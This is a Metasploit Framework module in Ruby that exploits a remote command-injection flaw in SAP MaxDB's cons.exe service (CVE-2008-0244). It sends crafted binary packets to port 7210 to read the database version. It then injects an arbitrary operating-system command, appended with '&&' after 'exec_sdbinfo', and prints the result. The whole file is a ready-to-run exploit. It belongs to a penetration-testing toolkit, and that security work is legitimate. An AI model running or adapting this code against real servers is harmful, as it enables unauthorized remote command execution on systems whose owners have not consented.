metasploit-framework/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'


class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SAP MaxDB cons.exe Remote Command Injection',
      'Description'    => %q{
          SAP MaxDB is prone to a remote command-injection vulnerability
          because the application fails to properly sanitize user-supplied input.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '40210' ],
          ['BID', '27206'],
          ['CVE', '2008-0244'],
        ],
      'DisclosureDate' => 'Jan 9 2008'))

      register_options(
        [
          Opt::RPORT(7210),
          OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
        ], self.class)
  end

  def run
    connect

    #Grab the MaxDB info.
    pdbmsrv =  "\x5A\x00\x00\x00\x03\x5B\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF"
    pdbmsrv << "\x00\x00\x04\x00\x5A\x00\x00\x00\x00\x02\x42\x00\x04\x09\x00\x00"
    pdbmsrv << "\x00\x40\x00\x00\xD0\x3F\x00\x00\x00\x40\x00\x00\x70\x00\x00\x00"
    pdbmsrv << "\x00\x07\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00"
    pdbmsrv << "\x07\x49\x33\x34\x33\x32\x00\x04\x50\x1C\x2A\x03\x52\x01\x03\x72"
    pdbmsrv << "\x01\x09\x70\x64\x62\x6D\x73\x72\x76\x00"

    db_version =  "\x28\x00\x00\x00\x03\x3f\x00\x00\x01\x00\x00\x00\xc0\x0b\x00\x00"
    db_version << "\x00\x00\x04\x00\x28\x00\x00\x00\x64\x62\x6d\x5f\x76\x65\x72\x73"
    db_version << "\x69\x6f\x6e\x20\x20\x20\x20\x20"

    sock.put(pdbmsrv)
    sock.get_once
    sock.put(db_version)

    ver = sock.get_once || ''

    info = ver[27,2000]
    if (info.length > 0)
      print_status(info)
    end

    #Send our command.
    len = 39 + datastore['CMD'].length

    data =  len.chr + "\x00\x00\x00\x03\x3F\x00\x00\x01\x00\x00\x00\x54\x0D\x00\x00"
    data << "\x00\x00\x04\x00" + len.chr + "\x00\x00\x00\x65\x78\x65\x63\x5F\x73\x64"
    data << "\x62\x69\x6E\x66\x6F\x20\x26\x26" + "#{datastore['CMD']}"

    sock.put(data)

    res = sock.get_once
    print_line(res)

    disconnect

  end

end